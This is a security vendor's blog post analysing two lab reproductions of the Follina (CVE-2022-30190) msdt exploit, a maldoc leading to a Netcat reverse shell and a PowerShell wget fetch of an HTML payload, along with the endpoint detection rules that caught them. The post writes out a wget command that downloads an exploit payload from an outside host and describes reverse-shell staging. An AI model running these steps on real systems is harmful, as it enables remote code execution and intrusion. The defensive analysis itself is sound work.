NetWitness Community

DarrenMccutchen · ‎2022-06-04

Threat Analysis: Detecting “Follina” (CVE-2022-30190) RCE Vulnerability with Netwitness Endpoint

By: Darren McCutchen and Cody Spooner

UPDATE - Microsoft has included a patch for CVE-2022-30190 with the release of their June 14, 2022 Security update, KB5014678. Netwitness recommends updating all vulnerable systems. Additional information on the security update can be found here.

For a brief overview and introduction to the Follina zero-day vulnerability (CVE-2022-30190), please read the previous Netwitness Community blog post ‘Follina’ CVE-2022-30190 0-Day: What You Need To Know by Will Gragido.

It has been a week since the NAO Security Cyber Security Research Team revealed the existence of a malicious Word document submitted to VirusTotal that used a novel method for remote code execution leveraging the Microsoft Support Diagnostic Tool "ms-msdt" Office URI scheme[i]. Since this “0-day” bug, dubbed “Follina” (CVE-2022-30190) by threat researcher Kevin Beaumont, was revealed, there have been many Proof-of-Concept exploits publicly shared. As an increasing number of “Follina” PoCs are being revealed, we are beginning to see attackers exploiting the vulnerability in real-world attacks[ii].

In this blog post, Netwitness will analyze two attacks that utilize CVE-2022-30190 and how Netwitness Endpoint can help you detect attempts to use them in your environment. The first method uses an OLE embedded Microsoft Word document to open a reverse shell from our victim machine to our labs “C2” server. The second method uses Powershell to execute wget and pop a Calculator on the victim machine.

Lab Infrastructure

Method 1 - Maldoc to Reverse Shell

To replicate this attack scenario, we used John Hammond’s MS-MSDT "Follina" Attack Vector[iii], a “codebase to generate an msdt-follina payload” and 'Follina' MS-MSDT n-day Microsoft Office RCE[iv]. The attack simulation was run on three individual Windows 10 hosts joined to the same domain. The exploitable HTML and Netcat executable were cloud-hosted externally. The Netcat executable was downloaded after executing the code in the HTML script tag. The maldoc was opened using the desktop version of Microsoft Word from Office 365 which was running on version 2202. The exploit was unsuccessful when run on Microsoft Word version 2205 during our testing.

We initiate our attack by running “follina.py” from the previously mentioned Attack Vector with ‘-r 9001’ (flag for running the reverse shell module on port 9001) on our “attacker” machine. This will create a document follina.doc and the required objects (HTTP server, “ms-msdt” payload, HTML endpoint) to exploit CVE-2022-30190. In real-world scenarios, this document would more than likely be received as an attachment to a malspam email. Once the staging process is complete and the end user clicks the document, follina.doc opens and grabs the HTML payload index.html, referenced in our Word document’s XML file document.xml.rels, from our HTTP server. Inside of index.html is an obfuscated Powershell script that invokes msdt.exe to open a Netcat listener on port 9001.

In order to execute the script inside of index.html, msdt.exe runs the Program Compatibility Wizard (PCW) troubleshooting tool, PCWDiagnostic, in the context of Windows Scheduled Maintenance task Scripted Diagnostics Native Host (sdiagnhost.exe)[v]. This results in the Program Compatibility Troubleshooter opening on the screen.

After the script is run, the Netcat listener is now running and drops us into “\AppData\Local\Temp\” on our target system Gastly, where we successfully run a whoami command.

In Netwitness, the first indicator we see is Microsoft Word (WINWORD.EXE) connecting to our lab cloud host to grab our HTML payload index.html.

We can also see Microsoft Word (WINWORD.EXE) calling the Microsoft Support Diagnostic Tool (msdt.exe). MSDT executes the contents of index.html which was pulled from the staged HTTP server.

As expected, we are also able to see sdiagnhost.exe executing our reverse shell script (this will additionally create a conhost.exe child process).

Knowing that the executed script is trying to establish a Netcat listener, we shift our focus to nc.exe. We see Netcat open Command Prompt (cmd.exe) on our lab's remote cloud host.

To verify that our script was executed completely and was able to run our supplied whoami command, we check “param.src=‘whoami’” and find our console event in Netwitness.

Method #2 – Wget Leads to Calculator

In our second example, we recreate an attack pattern first shared by Will Dorman[vi]. With this approach, we use Powershell and the wget utility to grab and execute the HTML payload from a webserver in our lab environment. By using this method, we entirely bypass the need for delivery of a Microsoft Office file.

Wget is natively available on newer versions of Windows and was leveraged using PowerShell (version 5.1.19041.1682). Wget executed the commands within the script tag in the HTML when parsed. During alternate testing; the exploit failed if Internet Explorer was not present on the system as this forced wget to be run with the –UseBasicParsing flag and further testing is required.

From our “victim” machine Gastly, we open Powershell and run wget http://pskanto.com:80/exploit.html, which grabs exploit.html from our cloud-hosted HTTP server.

Once retrieved, just as in Method #1, msdt.exe executes the script in our HTML payload file. This time, the script results in the Microsoft Calculator (calc.exe) popping on our victim machine.

Pivoting to our lab’s Netwitness Endpoint, we see several artifacts related to the execution of the payload. We first see the wget command getting run in Powershell.

This is followed by a network event showing our victim system Gastly connecting to the cloud-hosted web server hosting our “bad” file exploit.html.

Here we can see where the “Follina” vulnerability comes into play. Our Powershell console uses msdt.exe to execute the script inside of our HTML payload.

As in our previous Method, sdiagnhost.exe does the heavy lifting in executing our payload of calc.exe.

Detection with Netwitness

To better enable analysts to detect attempted exploitation of “Follina”, Netwitness has created the following rules:

Possible Follina Process Execution (msdt.exe) - This rule looks for command arguments related to the Microsoft Support Diagnostic Tool launching Program Compatibility Wizard troubleshooter running the script in the HTML payload.
Microsoft Office Document Spawns MSDT – This rule looks for OLE enabled Office applications (Word, Excel, Powerpoint) suspiciously spawning msdt.exe.

These rules were added to our lab Netwitness Endpoint Log Decoder and triggered as we ran our test:

All of the mentioned rules are currently posted to Netwitness Live.

Conclusion

Netwitness is providing this analysis as a guide for defenders to better understand and utilize the Netwitness Endpoint platform in detectection of “Follina” exploits in their environments. As with any vulnerability, we recommend following Microsoft’s guidance for Mitigation available here. Due to its ability to bypass many security and detection measures and its ease of exploitation, we expect “Follina” to be used in several new attacks. As new methods of exploitation become available, Netwitness will continue to track and update our detections as necessary.

Acknowledgements

Special thanks to Jeeth Mathai, Will Gragido, and Joey Kavanaugh from our Netwitness team for their contributions to this report.

Additional thanks to the work done by John Hammond, Will Dorman, and all other cyber practitioners who have done incredible work in deciphering this new vulnerability.